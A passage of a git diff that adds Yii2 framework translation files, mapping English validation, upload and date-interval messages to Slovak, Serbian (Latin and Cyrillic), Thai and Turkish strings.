minutes}}' => 'o {delta, plural, =1{minútu} other{# minút}}', + 'in {delta, plural, =1{a month} other{# months}}' => 'o {delta, plural, =1{mesiac} other{# mesiacov}}', + 'in {delta, plural, =1{a second} other{# seconds}}' => 'o {delta, plural, =1{sekundu} other{# sekúnd}}', + 'in {delta, plural, =1{a year} other{# years}}' => 'o {delta, plural, =1{rok} other{# rokov}}', + 'in {delta, plural, =1{an hour} other{# hours}}' => 'o {delta, plural, =1{hodinu} other{# hodín}}', + 'the input value' => 'vstupná hodnota', + '{attribute} "{value}" has already been taken.' => '{attribute} "{value}" je už použité.', + '{attribute} cannot be blank.' => '{attribute} nesmie byť prázdne.', + '{attribute} is invalid.' => '{attribute} je neplatné.', + '{attribute} is not a valid URL.' => '{attribute} nie je platná URL.', + '{attribute} is not a valid email address.' => '{attribute} nie je platná emailová adresa.', + '{attribute} must be "{requiredValue}".' => '{attribute} musí byť "{requiredValue}".', + '{attribute} must be a number.' => '{attribute} musí byť číslo.', + '{attribute} must be a string.' => '{attribute} musí byť reťazec.', + '{attribute} must be an integer.' => '{attribute} musí byť integer.', + '{attribute} must be either "{true}" or "{false}".' => '{attribute} musí byť "{true}" alebo "{false}".', + '{attribute} must be greater than "{compareValue}".' => '{attribute} musí byť vyšší ako "{compareValue}".', + '{attribute} must be greater than or equal to "{compareValue}".' => '{attribute} musí byť vyšší alebo rovný "{compareValue}".', + '{attribute} must be less than "{compareValue}".' => '{attribute} musí byť nižší ako "{compareValue}".', + '{attribute} must be less than or equal to "{compareValue}".' => '{attribute} musí byť nižší alebo rovný "{compareValue}".', + '{attribute} must be no greater than {max}.' => '{attribute} nesmie byť vyšší ako {max}.', + '{attribute} must be no less than {min}.' => '{attribute} nesmie byť nižší ako {min}.', + '{attribute} must be repeated exactly.' => '{attribute} musí byť rovnaký.', + '{attribute} must not be equal to "{compareValue}".' => '{attribute} nesmie byť "{compareValue}".', + '{attribute} should contain at least {min, number} {min, plural, one{character} other{characters}}.' => '{attribute} musí obsahovať aspoň {min, number} {min, plural, one{znak} other{znakov}}.', + '{attribute} should contain at most {max, number} {max, plural, one{character} other{characters}}.' => '{attribute} môže obsahovať najviac {max, number} {max, plural, one{znak} other{znakov}}.', + '{attribute} should contain {length, number} {length, plural, one{character} other{characters}}.' => '{attribute} musí obsahovať {length, number} {length, plural, one{znak} other{znakov}}.', + '{delta, plural, =1{a day} other{# days}} ago' => '{delta, plural, =1{včera} other{pred # dňami}}', + '{delta, plural, =1{a minute} other{# minutes}} ago' => 'pred {delta, plural, =1{minútou} other{# minútami}}', + '{delta, plural, =1{a month} other{# months}} ago' => 'pred {delta, plural, =1{mesiacom} other{# mesiacmi}}', + '{delta, plural, =1{a second} other{# seconds}} ago' => 'pred {delta, plural, =1{sekundou} other{# sekundami}}', + '{delta, plural, =1{a year} other{# years}} ago' => 'pred {delta, plural, =1{rokom} other{# rokmi}}', + '{delta, plural, =1{an hour} other{# hours}} ago' => 'pred {delta, plural, =1{hodinou} other{# hodinami}}', +]; diff --git a/php/yii2/basic/vendor/yiisoft/yii2/messages/sr-Latn/yii.php b/php/yii2/basic/vendor/yiisoft/yii2/messages/sr-Latn/yii.php new file mode 100644 index 00000000..b86d27c9 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/messages/sr-Latn/yii.php @@ -0,0 +1,106 @@ + 'Samo sledeći MIME tipovi su dozvoljeni: {mimeTypes}.', + 'The requested view "{name}" was not found.' => 'Traženi pogled "{name}" nije nađen.', + 'in {delta, plural, =1{a day} other{# days}}' => 'za {delta, plural, =1{dan} one{# dan} few{# dana} many{# dana} other{# dana}}', + 'in {delta, plural, =1{a minute} other{# minutes}}' => 'za {delta, plural, =1{minut} one{# minut} few{# minuta} many{# minut} other{# minuta}}', + 'in {delta, plural, =1{a month} other{# months}}' => 'za {delta, plural, =1{mesec} one{# mesec} few{# meseca} many{# meseci} other{# meseci}}', + 'in {delta, plural, =1{a second} other{# seconds}}' => 'za {delta, plural, =1{sekund} one{# sekund} few{# sekundi} many{# sekundi} other{# sekundi}}', + 'in {delta, plural, =1{a year} other{# years}}' => 'za {delta, plural, =1{godinu} one{# godinu} few{# godine} many{# godina} other{# godina}}', + 'in {delta, plural, =1{an hour} other{# hours}}' => 'za {delta, plural, =1{sat} one{# sat} few{# sata} many{# sati} other{# sati}}', + '{delta, plural, =1{a day} other{# days}} ago' => 'pre {delta, plural, =1{dan} one{dan} few{# dana} many{# dana} other{# dana}}', + '{delta, plural, =1{a minute} other{# minutes}} ago' => 'pre {delta, plural, =1{minut} one{# minut} few{# minuta} many{# minuta} other{# minuta}}', + '{delta, plural, =1{a month} other{# months}} ago' => 'pre {delta, plural, =1{meseca} one{# meseca} few{# meseca} many{# meseci} other{# meseci}}', + '{delta, plural, =1{a second} other{# seconds}} ago' => 'pre {delta, plural, =1{sekunde} one{# sekunde} few{# sekunde} many{# sekundi} other{# sekundi}}', + '{delta, plural, =1{a year} other{# years}} ago' => 'pre {delta, plural, =1{godine} one{# godine} few{# godine} many{# godina} other{# godina}}', + '{delta, plural, =1{an hour} other{# hours}} ago' => 'pre {delta, plural, =1{sat} one{# sat} few{# sata} many{# sati} other{# sata}}', + '{n, plural, =1{# byte} other{# bytes}}' => '{n, plural, one{# bajt} few{# bajta} many{# bajtova} other{# bajta}}', + '{n, plural, =1{# gigabyte} other{# gigabytes}}' => '{n, plural, one{# gigabajt} few{# gigabajta} many{# gigabajtova} other{# gigabajta}}', + '{n, plural, =1{# kilobyte} other{# kilobytes}}' => '{n, plural, one{# kilobajt} few{# kilobajta} many{# kilobajtova} other{# kilobajta}}', + '{n, plural, =1{# megabyte} other{# megabytes}}' => '{n, plural, one{# megabajt} few{# megabajta} many{# megabajtova} other{# megabajta}}', + '{n, plural, =1{# petabyte} other{# petabytes}}' => '{n, plural, one{# petabajt} few{# petabajta} many{# petabajtova} other{# petabajta}}', + '{n, plural, =1{# terabyte} other{# terabytes}}' => '{n, plural, one{# terabajt} few{# terabajta} many{# terabajta} other{# terabajta}}', + '{n} B' => '{n} B', + '{n} GB' => '{n} GB', + '{n} KB' => '{n} KB', + '{n} MB' => '{n} MB', + '{n} PB' => '{n} PB', + '{n} TB' => '{n} TB', + '(not set)' => '(bez vrednosti)', + 'An internal server error occurred.' => 'Došlo je do interne greške na serveru.', + 'Are you sure you want to delete this item?' => 'Da li ste sigurni da želite da obrišete ovu stavku?', + 'Delete' => 'Obriši', + 'Error' => 'Greška', + 'File upload failed.' => 'Postavljanje fajla nije uspelo.', + 'Home' => 'Početna', + 'Invalid data received for parameter "{param}".' => 'Neispravan podatak dobijen za parametar "{param}".', + 'Login Required' => 'Prijava na sistem je obavezna', + 'Missing required arguments: {params}' => 'Nedostaju obavezni argumenti: {params}', + 'Missing required parameters: {params}' => 'Nedostaju obavezni parametri: {params}', + 'No' => 'Ne', + 'No help for unknown command "{command}".' => 'Ne postoji pomoć za nepoznatu komandu "{command}".', + 'No help for unknown sub-command "{command}".' => 'Ne postoji pomoć za nepoznatu pod-komandu "{command}".', + 'No results found.' => 'Nema rezultata.', + 'Only files with these extensions are allowed: {extensions}.' => 'Samo fajlovi sa sledećim ekstenzijama su dozvoljeni: {extensions}.', + 'Page not found.' => 'Stranica nije pronađena.', + 'Please fix the following errors:' => 'Molimo vas ispravite sledeće greške:', + 'Please upload a file.' => 'Molimo vas postavite fajl.', + 'Showing {begin, number}-{end, number} of {totalCount, number} {totalCount, plural, one{item} other{items}}.' => 'Prikazano {begin, number}-{end, number} od {totalCount, plural, =1{# stavke} one{# stavka} few{# stavke} many{# stavki} other{# stavki}}.', + 'The file "{file}" is not an image.' => 'Fajl "{file}" nije slika.', + 'The file "{file}" is too big. Its size cannot exceed {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Fajl "{file}" je prevelik. Veličina ne može biti veća od {limit, number} {limit, plural, one{bajt} few{bajta} other{bajtova}}.', + 'The file "{file}" is too small. Its size cannot be smaller than {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Fajl "{file}" je premali. Veličina ne može biti manja od {limit, number} {limit, plural, one{bajt} few{bajta} other{bajtova}}.', + 'The format of {attribute} is invalid.' => 'Format atributa "{attribute}" je neispravan.', + 'The image "{file}" is too large. The height cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Slika "{file}" je prevelika. Visina ne sme biti veća od {limit, number} {limit, plural, one{piksel} other{piksela}}.', + 'The image "{file}" is too large. The width cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Slika "{file}" je prevelika. Širina ne sme biti veća od {limit, number} {limit, plural, one{piksel} other{piksela}}.', + 'The image "{file}" is too small. The height cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Slika "{file}" je premala. Visina ne sme biti manja od {limit, number} {limit, plural, one{piksel} other{piksela}}.', + 'The image "{file}" is too small. The width cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Slika "{file}" je premala. Širina ne sme biti manja od {limit, number} {limit, plural, one{piksel} other{piksela}}.', + 'The verification code is incorrect.' => 'Kod za potvrdu nije ispravan.', + 'Total {count, number} {count, plural, one{item} other{items}}.' => 'Ukupno {count, number} {count, plural, one{stavka} other{stavki}}.', + 'Unable to verify your data submission.' => 'Nije moguće verifikovati vaše poslate podatke.', + 'Unknown command "{command}".' => 'Nepoznata komanda "{command}".', + 'Unknown option: --{name}' => 'Nepoznata opcija: --{name}', + 'Update' => 'Ispravi', + 'View' => 'Pregled', + 'Yes' => 'Da', + 'You are not allowed to perform this action.' => 'Nemate prava da izvršite ovu akciju.', + 'You can upload at most {limit, number} {limit, plural, one{file} other{files}}.' => 'Možete postaviti najviše {limit, number} {limit, plural, one{fajl} few{fajla} other{fajlova}}.', + 'the input value' => 'ulazna vrednost', + '{attribute} "{value}" has already been taken.' => '{attribute} "{value}" je već zauzet.', + '{attribute} cannot be blank.' => '{attribute} ne sme biti prazan.', + '{attribute} is invalid.' => '{attribute} je neispravan.', + '{attribute} is not a valid URL.' => '{attribute} nije ispravan URL.', + '{attribute} is not a valid email address.' => '{attribute} nije ispravna email adresa.', + '{attribute} must be "{requiredValue}".' => '{attribute} mora biti "{requiredValue}".', + '{attribute} must be a number.' => '{attribute} mora biti broj.', + '{attribute} must be a string.' => '{attribute} mora biti tekst.', + '{attribute} must be an integer.' => '{attribute} mora biti celi broj.', + '{attribute} must be either "{true}" or "{false}".' => '{attribute} mora biti "{true}" ili "{false}".', + '{attribute} must be greater than "{compareValue}".' => '{attribute} mora biti veći od "{compareValue}".', + '{attribute} must be greater than or equal to "{compareValue}".' => '{attribute} mora biti veći ili jednak "{compareValue}".', + '{attribute} must be less than "{compareValue}".' => '{attribute} mora biti manji od "{compareValue}".', + '{attribute} must be less than or equal to "{compareValue}".' => '{attribute} mora biti manji ili jednak "{compareValue}".', + '{attribute} must be no greater than {max}.' => '{attribute} ne sme biti veći od "{max}".', + '{attribute} must be no less than {min}.' => '{attribute} ne sme biti manji od {min}.', + '{attribute} must be repeated exactly.' => '{attribute} mora biti ispravno ponovljen.', + '{attribute} must not be equal to "{compareValue}".' => '{attribute} ne sme biti jednak "{compareValue}".', + '{attribute} should contain at least {min, number} {min, plural, one{character} other{characters}}.' => '{attribute} treba da sadrži bar {min, number} {min, plural, one{karakter} other{karaktera}}.', + '{attribute} should contain at most {max, number} {max, plural, one{character} other{characters}}.' => '{attribute} treba da sadrži najviše {max, number} {max, plural, one{karakter} other{karaktera}}.', + '{attribute} should contain {length, number} {length, plural, one{character} other{characters}}.' => '{attribute} treba da sadrži {length, number} {length, plural, one{karakter} other{karaktera}}.' +]; \ No newline at end of file diff --git a/php/yii2/basic/vendor/yiisoft/yii2/messages/sr/yii.php b/php/yii2/basic/vendor/yiisoft/yii2/messages/sr/yii.php new file mode 100644 index 00000000..b2c0fdc4 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/messages/sr/yii.php @@ -0,0 +1,106 @@ + 'Само следећи MIME типови су дозвољени: {mimeTypes}.', + 'The requested view "{name}" was not found.' => 'Тражени поглед "{name}" није нађен.', + 'in {delta, plural, =1{a day} other{# days}}' => 'за {delta, plural, =1{дан} one{# дан} few{# дана} many{# дана} other{# дана}}', + 'in {delta, plural, =1{a minute} other{# minutes}}' => 'за {delta, plural, =1{минут} one{# минут} few{# минута} many{# минут} other{# минута}}', + 'in {delta, plural, =1{a month} other{# months}}' => 'за {delta, plural, =1{месец} one{# месец} few{# месеца} many{# месеци} other{# месеци}}', + 'in {delta, plural, =1{a second} other{# seconds}}' => 'за {delta, plural, =1{секунд} one{# секунд} few{# секунди} many{# секунди} other{# секунди}}', + 'in {delta, plural, =1{a year} other{# years}}' => 'за {delta, plural, =1{годину} one{# годину} few{# године} many{# година} other{# година}}', + 'in {delta, plural, =1{an hour} other{# hours}}' => 'за {delta, plural, =1{сат} one{# сат} few{# сата} many{# сати} other{# сати}}', + '{delta, plural, =1{a day} other{# days}} ago' => 'пре {delta, plural, =1{дан} one{дан} few{# дана} many{# дана} other{# дана}}', + '{delta, plural, =1{a minute} other{# minutes}} ago' => 'пре {delta, plural, =1{минут} one{# минут} few{# минута} many{# минута} other{# минута}}', + '{delta, plural, =1{a month} other{# months}} ago' => 'пре {delta, plural, =1{месеца} one{# месеца} few{# месеца} many{# месеци} other{# месеци}}', + '{delta, plural, =1{a second} other{# seconds}} ago' => 'пре {delta, plural, =1{секунде} one{# секунде} few{# секунде} many{# секунди} other{# секунди}}', + '{delta, plural, =1{a year} other{# years}} ago' => 'пре {delta, plural, =1{године} one{# године} few{# године} many{# година} other{# година}}', + '{delta, plural, =1{an hour} other{# hours}} ago' => 'пре {delta, plural, =1{сат} one{# сат} few{# сата} many{# сати} other{# сата}}', + '{n, plural, =1{# byte} other{# bytes}}' => '{n, plural, one{# бајт} few{# бајта} many{# бајтова} other{# бајта}}', + '{n, plural, =1{# gigabyte} other{# gigabytes}}' => '{n, plural, one{# гигабајт} few{# гигабајта} many{# гигабајтова} other{# гигабајта}}', + '{n, plural, =1{# kilobyte} other{# kilobytes}}' => '{n, plural, one{# килобајт} few{# килобајта} many{# килобајтова} other{# килобајта}}', + '{n, plural, =1{# megabyte} other{# megabytes}}' => '{n, plural, one{# мегабајт} few{# мегабајта} many{# мегабајтова} other{# мегабајта}}', + '{n, plural, =1{# petabyte} other{# petabytes}}' => '{n, plural, one{# петабајт} few{# петабајта} many{# петабајтова} other{# петабајта}}', + '{n, plural, =1{# terabyte} other{# terabytes}}' => '{n, plural, one{# терабајт} few{# терабајта} many{# терабајта} other{# терабајта}}', + '{n} B' => '{n} Б', + '{n} GB' => '{n} ГБ', + '{n} KB' => '{n} КБ', + '{n} MB' => '{n} МБ', + '{n} PB' => '{n} ПБ', + '{n} TB' => '{n} ТБ', + '(not set)' => '(без вредности)', + 'An internal server error occurred.' => 'Дошло је до интерне грешке на серверу.', + 'Are you sure you want to delete this item?' => 'Да ли сте сигурни да желите да обришете ову ставку?', + 'Delete' => 'Обриши', + 'Error' => 'Грешка', + 'File upload failed.' => 'Постављање фајла није успело.', + 'Home' => 'Почетна', + 'Invalid data received for parameter "{param}".' => 'Неисправан податак добијен за параметар "{param}."', + 'Login Required' => 'Пријава на систем је обавезна', + 'Missing required arguments: {params}' => 'Недостају обавезни аргументи: {params}', + 'Missing required parameters: {params}' => 'Недостају обавезни параметри: {params}', + 'No' => 'Не', + 'No help for unknown command "{command}".' => 'Не постоји помоћ за непознату команду "{command}".', + 'No help for unknown sub-command "{command}".' => 'Не постоји помоћ за непознату под-команду "{command}".', + 'No results found.' => 'Нема резултата.', + 'Only files with these extensions are allowed: {extensions}.' => 'Само фајлови са следећим екстензијама су дозвољени: {extensions}.', + 'Page not found.' => 'Страница није пронађена.', + 'Please fix the following errors:' => 'Молимо вас исправите следеће грешке:', + 'Please upload a file.' => 'Молимо вас поставите фајл.', + 'Showing {begin, number}-{end, number} of {totalCount, number} {totalCount, plural, one{item} other{items}}.' => 'Приказано {begin, number}-{end, number} од {totalCount, plural, =1{# ставке} one{# ставка} few{# ставке} many{# ставки} other{# ставки}}.', + 'The file "{file}" is not an image.' => 'Фајл "{file}" није слика.', + 'The file "{file}" is too big. Its size cannot exceed {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Фајл "{file}" је превелик. Величина не може бити већа од {limit, number} {limit, plural, one{бајт} few{бајтa} other{бајтова}}.', + 'The file "{file}" is too small. Its size cannot be smaller than {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Фајл "{file}" је премали. Величина не може бити мања од {limit, number} {limit, plural, one{бајт} few{бајтa} other{бајтова}}.', + 'The format of {attribute} is invalid.' => 'Формат атрибута "{attribute}" је неисправан.', + 'The image "{file}" is too large. The height cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Слика "{file}" је превелика. Висина не сме бити већа од {limit, number} {limit, plural, one{пиксел} other{пиксела}}.', + 'The image "{file}" is too large. The width cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Слика "{file}" је превелика. Ширина не сме бити већа од {limit, number} {limit, plural, one{пиксел} other{пиксела}}.', + 'The image "{file}" is too small. The height cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Слика "{file}" је премала. Висина не сме бити мања од {limit, number} {limit, plural, one{пиксел} other{пиксела}}.', + 'The image "{file}" is too small. The width cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Слика "{file}" је премала. Ширина не сме бити мања од {limit, number} {limit, plural, one{пиксел} other{пиксела}}.', + 'The verification code is incorrect.' => 'Код за потврду није исправан.', + 'Total {count, number} {count, plural, one{item} other{items}}.' => 'Укупно {count, number} {count, plural, one{ставка} other{ставки}}.', + 'Unable to verify your data submission.' => 'Није могуће верификовати ваше послате податке.', + 'Unknown command "{command}".' => 'Непозната команда "{command}".', + 'Unknown option: --{name}' => 'Непозната опција: --{name}', + 'Update' => 'Исправи', + 'View' => 'Преглед', + 'Yes' => 'Да', + 'You are not allowed to perform this action.' => 'Немате права да извршите ову акцију.', + 'You can upload at most {limit, number} {limit, plural, one{file} other{files}}.' => 'Можете поставити највише {limit, number} {limit, plural, one{фајл} few{фајлa} other{фајлова}}.', + 'the input value' => 'улазна вредност', + '{attribute} "{value}" has already been taken.' => '{attribute} "{value}" је већ заузет.', + '{attribute} cannot be blank.' => '{attribute} не сме бити празан.', + '{attribute} is invalid.' => '{attribute} је неисправан.', + '{attribute} is not a valid URL.' => '{attribute} није исправан URL.', + '{attribute} is not a valid email address.' => '{attribute} није исправна email адреса.', + '{attribute} must be "{requiredValue}".' => '{attribute} мора бити "{requiredValue}".', + '{attribute} must be a number.' => '{attribute} мора бити број.', + '{attribute} must be a string.' => '{attribute} мора бити текст.', + '{attribute} must be an integer.' => '{attribute} мора бити цели број.', + '{attribute} must be either "{true}" or "{false}".' => '{attribute} мора бити "{true}" или "{false}".', + '{attribute} must be greater than "{compareValue}".' => '{attribute} мора бити већи од "{compareValue}".', + '{attribute} must be greater than or equal to "{compareValue}".' => '{attribute} мора бити већи или једнак "{compareValue}".', + '{attribute} must be less than "{compareValue}".' => '{attribute} мора бити мањи од "{compareValue}".', + '{attribute} must be less than or equal to "{compareValue}".' => '{attribute} мора бити мањи или једнак "{compareValue}".', + '{attribute} must be no greater than {max}.' => '{attribute} не сме бити већи од "{max}".', + '{attribute} must be no less than {min}.' => '{attribute} не сме бити мањи од {min}.', + '{attribute} must be repeated exactly.' => '{attribute} мора бити исправно поновљен.', + '{attribute} must not be equal to "{compareValue}".' => '{attribute} не сме бити једнак "{compareValue}".', + '{attribute} should contain at least {min, number} {min, plural, one{character} other{characters}}.' => '{attribute} треба да садржи бар {min, number} {min, plural, one{карактер} other{карактера}}.', + '{attribute} should contain at most {max, number} {max, plural, one{character} other{characters}}.' => '{attribute} треба да садржи највише {max, number} {max, plural, one{карактер} other{карактера}}.', + '{attribute} should contain {length, number} {length, plural, one{character} other{characters}}.' => '{attribute} треба да садржи {length, number} {length, plural, one{карактер} other{карактера}}.' +]; \ No newline at end of file diff --git a/php/yii2/basic/vendor/yiisoft/yii2/messages/th/yii.php b/php/yii2/basic/vendor/yiisoft/yii2/messages/th/yii.php new file mode 100644 index 00000000..1e091351 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/messages/th/yii.php @@ -0,0 +1,106 @@ + '(ไม่ได้ตั้ง)', + 'An internal server error occurred.' => 'เกิดข้อผิดพลาดภายในเซิร์ฟเวอร์', + 'Are you sure you want to delete this item?' => 'คุณแน่ใจหรือไม่ที่จะลบรายการนี้?', + 'Delete' => 'ลบ', + 'Error' => 'ผิดพลาด', + 'File upload failed.' => 'ไม่สามารถอัพโหลดไฟล์ได้', + 'Home' => 'หน้าหลัก', + 'Invalid data received for parameter "{param}".' => 'ค่าพารามิเตอร์ "{param}" ไม่ถูกต้อง', + 'Login Required' => 'จำเป็นต้องเข้าสู่ระบบ', + 'Missing required arguments: {params}' => 'อาร์กิวเมนต์ที่จำเป็นขาดหายไป: {params}', + 'Missing required parameters: {params}' => 'พารามิเตอร์ที่จำเป็นขาดหายไป: {params}', + 'No' => 'ไม่', + 'No help for unknown command "{command}".' => 'ไม่มีวิธีใช้สำหรับคำสั่ง "{command}" ที่ไม่รู้จัก', + 'No help for unknown sub-command "{command}".' => 'ไม่มีวิธีใช้สำหรับคำสั่งย่อย "{command}" ที่ไม่รู้จัก', + 'No results found.' => 'ไม่พบผลลัพธ์', + 'Only files with these MIME types are allowed: {mimeTypes}.' => 'เฉพาะไฟล์ที่มีชนิด MIME ต่อไปนี้ที่ได้รับการอนุญาต: {mimeTypes}', + 'Only files with these extensions are allowed: {extensions}.' => 'เฉพาะไฟล์ที่มีนามสกุลต่อไปนี้ที่ได้รับอนุญาต: {extensions}', + 'Page not found.' => 'ไม่พบหน้า', + 'Please fix the following errors:' => 'โปรดแก้ไขข้อผิดพลาดต่อไปนี้:', + 'Please upload a file.' => 'กรุณาอัพโหลดไฟล์', + 'Showing {begin, number}-{end, number} of {totalCount, number} {totalCount, plural, one{item} other{items}}.' => 'แสดง {begin, number} ถึง {end, number} จาก {totalCount, number} ผลลัพธ์', + 'The file "{file}" is not an image.' => 'ไฟล์ "{file}" ไม่ใช่รูปภาพ', + 'The file "{file}" is too big. Its size cannot exceed {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'ไฟล์ "{file}" มีขนาดใหญ่ไป ไฟล์จะต้องมีขนาดไม่เกิน {limit, number} ไบต์', + 'The file "{file}" is too small. Its size cannot be smaller than {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'ไฟล์ "{file}" มีขนาดเล็กเกินไป ไฟล์จะต้องมีขนาดมากกว่า {limit, number} ไบต์', + 'The format of {attribute} is invalid.' => 'รูปแบบ {attribute} ไม่ถูกต้อง', + 'The image "{file}" is too large. The height cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'รูปภาพ "{file}" ใหญ่เกินไป ความสูงต้องน้อยกว่า {limit, number} พิกเซล', + 'The image "{file}" is too large. The width cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'รูปภาพ "{file}" ใหญ่เกินไป ความกว้างต้องน้อยกว่า {limit, number} พิกเซล', + 'The image "{file}" is too small. The height cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'รูปภาพ "{file}" เล็กเกินไป ความสูงต้องมากว่า {limit, number} พิกเซล', + 'The image "{file}" is too small. The width cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'รูปภาพ "{file}" เล็กเกินไป ความกว้างต้องมากกว่า {limit, number} พิกเซล', + 'The requested view "{name}" was not found.' => 'ไม่พบ "{name}" ในการเรียกใช้', + 'The verification code is incorrect.' => 'รหัสการยืนยันไม่ถูกต้อง', + 'Total {count, number} {count, plural, one{item} other{items}}.' => 'ทั้งหมด {count, number} ผลลัพธ์', + 'Unable to verify your data submission.' => 'ไม่สามารถตรวจสอบการส่งข้อมูลของคุณ', + 'Unknown command "{command}".' => 'ไม่รู้จักคำสั่ง "{command}"', + 'Unknown option: --{name}' => 'ไม่รู้จักตัวเลือก: --{name}', + 'Update' => 'ปรับปรุง', + 'View' => 'ดู', + 'Yes' => 'ใช่', + 'You are not allowed to perform this action.' => 'คุณไม่ได้รับอนุญาตให้ดำเนินการนี้', + 'You can upload at most {limit, number} {limit, plural, one{file} other{files}}.' => 'คุณสามารถอัพโหลดมากที่สุด {limit, number} ไฟล์', + 'in {delta, plural, =1{a second} other{# seconds}}' => 'ใน {delta} วินาที', + 'in {delta, plural, =1{a minute} other{# minutes}}' => 'ใน {delta} นาที', + 'in {delta, plural, =1{an hour} other{# hours}}' => 'ใน {delta} ชั่วโมง', + 'in {delta, plural, =1{a day} other{# days}}' => 'ใน {delta} วัน', + 'in {delta, plural, =1{a month} other{# months}}' => 'ใน {delta} เดือน', + 'in {delta, plural, =1{a year} other{# years}}' => 'ใน {delta} ปี', + 'the input value' => 'ค่าป้อนที่เข้ามา', + '{attribute} "{value}" has already been taken.' => '{attribute} "{value}" มีอยู่แล้ว', + '{attribute} cannot be blank.' => '{attribute} ต้องไม่ว่างเปล่า', + '{attribute} is invalid.' => '{attribute} ไม่ถูกต้อง', + '{attribute} is not a valid URL.' => '{attribute} ไม่ใช่รูปแบบ URL ที่ถูกต้อง', + '{attribute} is not a valid email address.' => '{attribute} ไม่ใช่รูปแบบอีเมลที่ถูกต้อง', + '{attribute} must be "{requiredValue}".' => '{attribute} ต้องการ "{requiredValue}"', + '{attribute} must be a number.' => '{attribute} ต้องเป็นตัวเลขเท่านั้น', + '{attribute} must be a string.' => '{attribute} ต้องเป็นตัวอักขระเท่านั้น', + '{attribute} must be an integer.' => '{attribute} ต้องเป็นจำนวนเต็มเท่านั้น', + '{attribute} must be either "{true}" or "{false}".' => '{attribute} ต้องเป็น "{true}" หรือ "{false}"', + '{attribute} must be greater than "{compareValue}".' => '{attribute} ต้องมากกว่า "{compareValue}"', + '{attribute} must be greater than or equal to "{compareValue}".' => '{attribute} ต้องมากกว่าหรือเท่ากับ "{compareValue}"', + '{attribute} must be less than "{compareValue}".' => '{attribute} ต้องน้อยกว่า "{compareValue}"', + '{attribute} must be less than or equal to "{compareValue}".' => '{attribute} ต้องน้อยกว่าหรือเท่ากับ "{compareValue}"', + '{attribute} must be no greater than {max}.' => '{attribute} ต้องไม่มากกว่า {max}.', + '{attribute} must be no less than {min}.' => '{attribute} ต้องไม่น้อยกว่า {min}', + '{attribute} must be repeated exactly.' => '{attribute} ต้องมีค่าเหมือนกัน', + '{attribute} must not be equal to "{compareValue}".' => '{attribute} ต้องมีค่าเหมือนกัน "{compareValue}"', + '{attribute} should contain at least {min, number} {min, plural, one{character} other{characters}}.' => '{attribute} ควรประกอบด้วยอักขระอย่างน้อย {min, number} อักขระ', + '{attribute} should contain at most {max, number} {max, plural, one{character} other{characters}}.' => '{attribute} ควรประกอบด้วยอักขระอย่างมาก {max, number} อักขระ', + '{attribute} should contain {length, number} {length, plural, one{character} other{characters}}.' => '{attribute} ควรประกอบด้วย {length, number} อักขระ', + '{delta, plural, =1{a second} other{# seconds}} ago' => '{delta} วินาทีที่ผ่านมา', + '{delta, plural, =1{a minute} other{# minutes}} ago' => '{delta} นาทีที่ผ่านมา', + '{delta, plural, =1{an hour} other{# hours}} ago' => '{delta} ชั่วโมงที่ผ่านมา', + '{delta, plural, =1{a day} other{# days}} ago' => '{delta} วันที่ผ่านมา', + '{delta, plural, =1{a month} other{# months}} ago' => '{delta} เดือนที่ผ่านมา', + '{delta, plural, =1{a year} other{# years}} ago' => '{delta} ปีที่ผ่านมา', + '{n, plural, =1{# byte} other{# bytes}}' => '{n} ไบต์', + '{n, plural, =1{# kilobyte} other{# kilobytes}}' => '{n} กิโลไบต์', + '{n, plural, =1{# megabyte} other{# megabytes}}' => '{n} เมกะไบต์', + '{n, plural, =1{# gigabyte} other{# gigabytes}}' => '{n} จิกะไบต์', + '{n, plural, =1{# terabyte} other{# terabytes}}' => '{n} เทระไบต์', + '{n, plural, =1{# petabyte} other{# petabytes}}' => '{n} เพตะไบต์', + '{n} B' => '{n} B', + '{n} GB' => '{n} GB', + '{n} KB' => '{n} KB', + '{n} MB' => '{n} MB', + '{n} PB' => '{n} PB', + '{n} TB' => '{n} TB', +]; diff --git a/php/yii2/basic/vendor/yiisoft/yii2/messages/tr/yii.php b/php/yii2/basic/vendor/yiisoft/yii2/messages/tr/yii.php new file mode 100644 index 00000000..2f78e65b --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/messages/tr/yii.php @@ -0,0 +1,93 @@ + '(Veri Yok)', + 'An internal server error occurred.' => 'Bir sunucu hatası oluştu.', + 'Are you sure you want to delete this item?' => 'Bu veriyi silmek istediğinizden emin misiniz??', + 'Delete' => 'Sil', + 'Error' => 'Hata', + 'File upload failed.' => 'Dosya yükleme başarısız.', + 'Home' => 'Anasayfa', + 'Invalid data received for parameter "{param}".' => 'Bu "{param}" parametre için yanlış veri alındı.', + 'Login Required' => 'Üye Girişi Gerekli', + 'Missing required arguments: {params}' => 'Gerekli argüman eksik: {params}', + 'Missing required parameters: {params}' => 'Gerekli parametre eksik: {params}', + 'No' => 'Hayır', + 'No help for unknown command "{command}".' => 'Bilinmeyen komut "{command}" için bir yardım yok.', + 'No help for unknown sub-command "{command}".' => 'Bilinmeyen alt-komut "{command}" için bir yardım yok.', + 'No results found.' => 'Sonuç bulunamadı', + 'Only files with these MIME types are allowed: {mimeTypes}.' => 'Sadece bu tip MIME türleri geçerlidir: {mimeTypes}.', + 'Only files with these extensions are allowed: {extensions}.' => 'Sadece bu 